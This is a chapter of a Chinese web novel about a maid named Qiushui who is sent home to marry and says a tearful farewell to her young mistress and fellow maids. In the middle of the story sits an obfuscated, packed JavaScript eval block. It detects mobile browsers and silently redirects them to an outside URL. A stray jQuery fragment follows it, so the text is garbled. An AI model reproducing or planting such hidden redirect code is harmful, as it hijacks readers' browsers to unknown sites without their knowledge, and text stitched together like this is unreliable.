“二小姐的身子还没有大好......”秋水说得酸涩。
“总会有这样那样的事,天下没有不散的宴席,我知道你不舍得,不放心,但总是要走的。如果不是月儿遭遇意外,无奈之中让你跟来,几天前你就该离府了。后天初六有船回苏州,你就跟着一起回去吧。”林夫人一句一句地说着,句句都在情理之中,没有转圜的空间。
所以,秋水实在不知道说什么,她想说她可以一辈子不成亲,她想说二小姐还需要她在身边,她想说再多待些日子等连云和忆棉更强一些......可是这些都太苍白,就像是做做样子谁都会说的场面话,改变不了结局。
因为是她明白,夫人是在通知她,而非商量。
“我给你备了一份嫁妆,就在苏州你那个亲戚的铺子里,等回去了你记得先去看看,给你添妆。以后好好过日子。”夫人说得语重心长。
“去吧,回去收拾收拾,该交代的交代了,来不及的就来不及吧。走前也不用再过来了,今天就算告别了。”
秋水跪下来给林夫人磕头,“秋水拜别夫人,夫人千万保重身体,天佑夫人岁岁安康。日后但凡夫人还有用得上秋水的地方,秋水定万死不辞。”夫人对她的好,可以说改变了她的一生,她却还一点儿都没有报。
秋水终究还是流下泪来,许是眼泪让林夫人也起了柔肠,她拉起秋水,“有你这句话就够了。”
宋妈亲自送秋水出去,给了她一个夫人赏的玉镯,留个念想吧,日子那么长,可能,再也见不到了。
秋水慢慢地走回去,别人跟她打招呼她也理会不得。走到院门口迈不开脚步,就在这静静地站着,仿佛能听到二小姐和连云忆棉的说笑声。院门上的匾额还没挂起来,从此里面的喜怒哀乐与她再不相关,她放在心上,扛在肩上的担子就要卸下了,从此再不用操心不用唠叨,可是,没有这些,心就空了呀。
放不下呀,太难受了。
她一直觉得,靠努力能够改变命运,平静的日子里居然忘了,这一程,从来都不由不得自己。
收拾好心情她才走进去,直接去找二小姐。正好连云和忆棉都在。
“二小姐,我要走了。”秋水理了理衣架上的衣服,不敢抬头。
“去哪啊?”潇月还是察觉出了秋水的异样,眼睛红红的,有些魂不守舍,明显是哭过。林潇月放下手里的书,略有不安。
“去过我自己的日子呀,我要回苏州成亲了。”秋水说得轻松,就像说起明天的天气,今天的晚餐,新裁的衣衫,如此轻松。
“什么时候成亲?”
“快了,总要先回去准备准备吧,夫人给我定好了船,我后天走。”秋水仍然笑着,只是笑得很难看,比哭还难看。
“后天?这么赶?”林潇月不敢置信,连云和忆棉也惊呆了。
“夫人刚刚通知我的,不是我有意要瞒小姐。”秋水的笑彻底变成了苦笑。
“我去找母亲,哪有让人说走就走的。”林潇月说着就要出去。
“二小姐,不用了,那边在催了,别去为难夫人了。”其实秋水早就提过把婚期定在年底,小姐刚及笄,她下半年再离开。当时夫人没有允,但是也没有拒绝,她天真地以为她还有半年的时间......夫人说今天就算告别了,已经表明了此事没有转圜
秋水定亲一事,潇月和连云是知道的,但也仅仅是知道而已。府里丫鬟之间不让谈论这些事情,加之潇月和连云都比秋水小,时间一长,都不再细问,也不知道秋水要离开的具体日子。
但不管怎样,即便要分开,即便要去开始新的生活,也总要给一段时间告别吧,怎么刚说起来就只剩了一天了呢。
“小姐,奴婢要走了,以后不在小姐身边,小姐可要好好的——”终于还是说不下去了,秋水的泪喷薄而出。
“好了好了,你别哭啊,我知道你的心,我知道你身不由己,你别哭了。”潇月抱住秋水,谁能舍得呀,在一起十年,她从小娃娃长成少女,是秋水日夜陪着她,照顾她,不管是生病还是生气,不管是白天还是深夜,只要她喊一声,秋水就会立刻出现。
最早的记忆已经有些模糊了,只记得母亲让她分院子单独出去住,除了母亲身边的大丫鬟,其余一院子都是陌生人。她们喊她小主子,她却紧张得不敢说话,秋水也紧张,但一直紧紧地拉着她的手,两个女孩的手汗津津的,彼此握着,谁也不松开。
大丫鬟出去给院子里的人分派工作,林潇月不知道该做什么,秋水也不知道什么是她能做的,俩人就手拉着手,一个站着,一个坐着。
晚上她不敢一个人睡,秋水自告奋勇睡在小榻守夜陪她,后来不知怎么地连云也来了,最后三个人挤在一张床上。
这是林潇月脑海里关于最初仅有的画面,早已忘记了对白,她们就这么一天天长大了,在她的印象里,秋水没有病过,没有哭过。
“对不起,秋水,是我失职,这么久了没有过问过你的亲事,这么长时间没有居然什么都没有给你准备,对不起,对不起,我不是有意的,我只是从心里就没有想过你会走。”
“小姐折煞奴婢了,这十年你给我的温暖和信任,我的亲生父母给不了,同胞骨肉给不了,是你的善良和器重,才让我成了今天的秋水,才有了可以期待的未来生活。”
“好了,我们都不要哭了,秋水要回去成亲是喜事,我们应该替她高兴,我们欢欢喜喜地送她。”
连云和忆棉早已哭得不成样子了,连云和秋水一起长大,一直被秋水护着,感情非同一般,说亲如姐妹一点儿都不为过。忆棉是秋水领进门的,又一直手把手地教她,亦师亦友,感激涕零的阶段还没过,乍然说要告别,就像半途被抛下,即不舍又惶恐,当然更多的还是不舍,秋水待她一片真心。
“我就是心软,早知道就该对你们严厉些,那样就巴不得我走了,也能快点自立起来。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438970|169341||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
秋水抹了把眼泪。
“姐姐只管放心,我虽然没有姐姐能干,但是我对小姐的心同姐姐是一样的,我会认真学,努力做,拼了命都会守好小姐。”忆棉给秋水擦泪。
“你和连云都是好的,切记万事以小姐为重。”不放心,秋水不放心,小姐死里逃生如同昨日,想起来就觉得心悸后怕,但是不放心又能怎么样呢,夫人说了,都该放下了。
“谁都别哭了,让外面的人听见还以为出什么事了。从现在起,咱们最重要的事情,也是唯一的事情,就是给秋水办嫁妆。”林潇月站起身来说。
“你们......几个姑娘家说什么嫁妆不嫁妆的,能懂什么呀。”秋水笑了,笑容里有几分不好意思,有待嫁的羞怯和婉约。
这才是该有的样子,如果注定要离别,那不如尽力留一些美好给彼此,留待以后想起时,可以笑着回忆。
“我好歹是苏州首富家的千金小姐,你好歹是我的贴身女使,你出嫁我不表示表示,传出去让人家笑话。连云,开私库,秋水,尽管挑。”
跳出了刚才的悲伤离愁,所有人都想让彼此轻快以对,所以她们人人都擎了一份美好递出来,再也不围着哭了。
连云作势就要去拿钥匙,忆棉难得“不识大体”,找了一个布袋让秋水好装东西,秋水拉住她们的胳膊,用身子挡着潇月。
“二小姐,别闹。”
“我没闹啊,我诚心诚意,等成亲的时候装个箱子,贴上林家二小姐送,给你添妆,咱俩都有面子。”
“你听我慢慢说行不行,忆棉连云,去端点茶水点心,咱们索性坐在一起聊聊天。”
四个人坐定,秋水缓缓讲了起来,“我比连云和忆棉都幸运些,我有父母,还有姐姐弟弟,但是这十年我都没有跟他们一起生活,所以谈不上太多了解。对于夫家,要不是二小姐那时候非要带我去偷偷看一眼,我压根就不知道我要嫁的人长得是圆是扁,对于他们一家人的性格脾气根本就不可能知道。但是,世上多的是凡人、俗人,对人一个态度,对钱一个态度,媒人说他们打听过我对我很满意,那想必知道我是抵债做工,没有月银可拿。也就是说,我的嫁妆只能是做做样子。”
“听我说完。”中间几次林潇月想插嘴都被秋水按着手不许,“我知道,谁都不会嫌钱多,高过他们的期望值只会让他们更高兴。但是,既然他们看中的是我这个人,那我便简简单单地嫁过去,一心一意过日子。”
“小姐私库里有什么我最清楚了,那些文玩不适合普通人家,其他贵重东西也不是小户人家该有的。实不相瞒,夫人给我赏赐了不少东西,都在苏州了。我也攒了些银两,都存起来了,暂时不想被别人知道。成亲的时候嫁妆单子是要呈给婆家看的,我不想太丰厚,他家是独子,虽然只是小生意,但我有信心把日子过好,日后真的琴瑟和鸣,夫妻同心,需要的时候我自然会拿出私房钱,但若过不到一起,那是我留给自己的活路。”